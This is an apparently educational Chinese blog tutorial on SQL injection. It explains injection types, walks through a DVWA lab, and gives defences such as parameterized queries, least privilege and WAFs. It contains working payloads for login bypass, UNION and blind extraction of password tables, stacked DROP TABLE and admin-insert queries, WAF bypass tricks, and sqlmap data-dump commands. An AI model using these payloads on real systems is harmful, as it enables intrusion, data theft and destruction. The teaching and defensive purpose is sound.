SQL 注入攻击与防御:从原理到实践
SQL 注入(SQL Injection)是 Web 安全领域最古老、最顽固的漏洞之一。尽管已经存在二十多年,它至今仍是 OWASP Top 10 榜单上的常客。理解 SQL 注入的原理和防御方法,是每个 Web 开发者和安全从业者的必修课。
一、什么是 SQL 注入
SQL 注入是指攻击者通过在应用程序的输入字段中注入恶意 SQL 代码,欺骗后端数据库执行非预期的查询操作。
当应用程序将用户输入直接拼接到 SQL 语句中,而没有进行适当的验证或转义时,攻击者就可以操纵查询的逻辑,实现数据窃取、权限提升甚至服务器控制。
一个简单的例子
假设有一个登录表单,后端代码如下:
username = request.get("username")
password = request.get("password")
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"如果用户输入:
- 用户名:
admin' -- - 密码:任意值
生成的 SQL 变成:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'xxx'-- 是 SQL 的注释符,后面的密码验证被忽略了。攻击者无需密码就能以 admin 身份登录。
二、SQL 注入的类型
1. 联合查询注入(Union-Based)
利用 UNION 操作符合并两个 SELECT 语句的结果,将其他表的数据导出到页面中。
' UNION SELECT username, password FROM admin_users --利用步骤:
- 确定原查询的列数(使用
ORDER BY或UNION SELECT NULL试探) - 找到可显示数据的列位置
- 替换为想要查询的数据
2. 报错注入(Error-Based)
通过制造数据库错误,从错误信息中提取敏感数据。
' AND extractvalue(1, concat(0x7e, (SELECT password FROM users LIMIT 1), 0x7e)) --数据库报错时会回显拼接的内容,从而泄露数据。
3. 布尔盲注(Boolean-Based Blind)
当页面没有直接回显数据时,通过构造条件语句,根据页面响应的差异(True/False)逐位推断数据。
' AND SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1) = 'a' --如果页面正常显示,说明第一位是 a;否则不是。
4. 时间盲注(Time-Based Blind)
当页面完全没有差异时,通过注入延迟函数,根据响应时间判断条件是否成立。
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0) --如果第一位是 a,页面会延迟 5 秒返回。
5. 堆叠查询注入(Stacked Queries)
在支持多语句执行的数据库(如 SQL Server、PostgreSQL)中,使用分号 ; 追加额外的 SQL 语句。
'; DROP TABLE users; --或更危险的:
'; INSERT INTO admin_users (username, password) VALUES ('hacker', 'pass123'); --6. 二次注入(Second-Order)
恶意输入先被安全地存储到数据库,在后续被取出拼接到 SQL 中时触发注入。
典型场景:
- 用户注册用户名
admin' -- - 注册时经过了转义,安全存入数据库
- 后台管理页面读取该用户名并拼接 SQL 查询
- 此时数据没有再次转义,触发注入
三、SQL 注入的危害
| 危害类型 | 说明 | 严重程度 |
|---|---|---|
| 数据泄露 | 读取用户表、订单表等敏感数据 | ⭐⭐⭐⭐⭐ |
| 身份绕过 | 无需密码登录任意账户 | ⭐⭐⭐⭐⭐ |
| 权限提升 | 从普通用户变成管理员 | ⭐⭐⭐⭐⭐ |
| 数据篡改 | 修改余额、订单状态等 | ⭐⭐⭐⭐ |
| 数据删除 | 清空表或整个数据库 | ⭐⭐⭐⭐⭐ |
| 服务器控制 | 通过 INTO OUTFILE、xp_cmdshell 等执行系统命令 | ⭐⭐⭐⭐⭐ |
四、实战演示:DVWA 靶场
以 Damn Vulnerable Web Application(DVWA)低安全级别为例:
联合查询注入
Step 1:判断注入点
输入:1'
页面报错:You have an error in your SQL syntax
→ 确认存在注入Step 2:确定列数
输入:1' ORDER BY 3 --
页面报错:Unknown column '3' in 'order clause'
→ 原查询有 2 列Step 3:联合查询数据
输入:1' UNION SELECT user, password FROM users --
页面显示:
ID: 1
First name: admin
Surname: admin
ID: 1
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
拿到 MD5 哈希值后,用工具离线破解即可。
五、防御策略
1. 参数化查询(Prepared Statements)⭐⭐⭐⭐⭐
最有效的防御方式,将 SQL 代码和数据严格分离。
Python(MySQLdb):
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))PHP(PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :user AND password = :pass");
$stmt->execute(['user' => $username, 'pass' => $password]);Java(JDBC):
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?");
stmt.setString(1, username);
stmt.setString(2, password);
stmt.executeQuery();原理:数据库预编译 SQL 模板,用户输入始终被当作数据而非代码。
2. ORM 框架
使用 Django ORM、Hibernate、MyBatis(配合 #{} 占位符)等框架,避免手写 SQL。
# Django ORM(安全)
User.objects.filter(username=username, password=password)⚠️ 注意:ORM 如果使用字符串拼接或原生 SQL 执行,仍然可能注入。
3. 输入验证与过滤
- 白名单:只允许预期的字符集和格式
- 类型检查:整数输入强制转换为 int
- 长度限制:防止超长输入
import re
if not re.match(r'^[a-zA-Z0-9_]{1,32}$', username):
raise ValueError("Invalid username")4. 转义特殊字符
在必须使用字符串拼接的场景下,使用数据库提供的转义函数。
$safe_input = mysqli_real_escape_string($conn, $input);⚠️ 不推荐:转义依赖具体数据库实现,容易遗漏,不如参数化查询可靠。
5. 最小权限原则
应用程序连接数据库的账号应该:
- 仅拥有必要的权限(SELECT、INSERT、UPDATE)
- 禁止 DROP、DELETE 等高危权限
- 禁止访问系统表和存储过程
-- 为应用创建受限用户
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'app_user'@'localhost';
REVOKE ALL PRIVILEGES ON mysql.* FROM 'app_user'@'localhost';6. Web 应用防火墙(WAF)
作为纵深防御的一层,WAF 可以拦截常见的 SQL 注入 payload:
检测特征:
- 单引号、双引号异常使用
- UNION、SELECT、INSERT 等关键字组合
- 注释符 --、/ /
- 十六进制编码、字符串拼接函数⚠️ 注意:WAF 是辅助手段,不能替代代码层的防御。攻击者有多种方式绕过 WAF(编码、注释、分块传输等)。
六、SQL 注入绕过技巧(红队视角)
了解攻击者的绕过手法,有助于更好地防御:
| 绕过方式 | 示例 |
|---|---|
| 大小写变形 | UnIoN SeLeCt |
| 注释混淆 | /<em>!50000UNION</em>/ /<em>!SELECT</em>/ |
| 编码绕过 | %55%4E%49%4F%4E(URL 编码) |
| 内联注释 | /**/ 代替空格 |
| 字符串拼接 | CONCAT('adm','in') |
| 换行符绕过 | %0a %0d 分割关键字 |
| 逻辑等价替换 | OR 1=1 → OR 'a'='a' |
| 分块传输(HTTP chunked) | 绕过基于请求体的 WAF 检测 |
七、自动化检测工具
| 工具 | 特点 | 适用场景 |
|---|---|---|
| sqlmap | 功能最全面,支持多种数据库和注入类型 | 渗透测试、漏洞验证 |
| Burp Suite | 集成 Scanner 模块,适合手工测试 | 日常 Web 安全评估 |
| XSStrike | 专注 XSS,但也支持部分 SQL 检测 | 快速扫描 |
| Commix | 专注命令注入 | 混合测试 |
sqlmap 常用命令:
# 基础检测
sqlmap -u "http://target.com/page.php?id=1"# 指定参数,获取数据库列表
sqlmap -u "http://target.com/page.php?id=1" --dbs# 获取指定数据库的表
sqlmap -u "http://target.com/page.php?id=1" -D dbname --tables
# 导出数据
sqlmap -u "http://target.com/page.php?id=1" -D dbname -T users --dump
八、代码审计检查清单
在审查项目代码时,重点关注以下模式:
- [ ] 是否存在字符串拼接的 SQL 语句
- [ ] 动态查询是否使用了参数化/占位符
- [ ] 存储过程是否安全(避免
EXEC动态执行) - [ ] 第三方库是否有已知的 SQL 注入漏洞
- [ ] 日志记录是否包含未过滤的用户输入
- [ ] ORM 的
raw()/nativeQuery()调用是否安全
总结
SQL 注入的本质是 代码与数据的边界模糊。防御的核心思路就是 将数据和代码彻底分离——参数化查询正是这一思想的完美实践。
再强大的防火墙、再复杂的过滤规则,都不如一行正确的参数化代码可靠。对于开发者而言,养成使用 ORM 或预处理语句的习惯,是从源头杜绝 SQL 注入的最佳方式。
网络安全系列第 1 篇 —— 由多多自动发布 🐾